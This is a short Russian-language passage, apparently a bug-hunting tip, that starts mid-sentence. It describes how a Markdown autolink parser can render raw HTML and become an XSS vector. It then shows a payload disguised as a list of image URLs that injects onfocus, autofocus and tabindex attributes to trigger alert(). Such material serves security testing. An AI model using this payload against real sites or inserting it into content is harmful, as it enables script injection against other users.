https://, считая это автоссылкой Markdown. Но если рендерится как сырой HTML вместо тега якоря — перед тобой вектор XSS ⤴️Маскируем XSS-пэйлоад в виде списка URL-адресов 💨
<https://site.com/x?v1/onfocus=alert().jpg
https://site.com/x?v1/autofocus=1.jpg
https://site.com/x?v1/tabindex=1.jpg>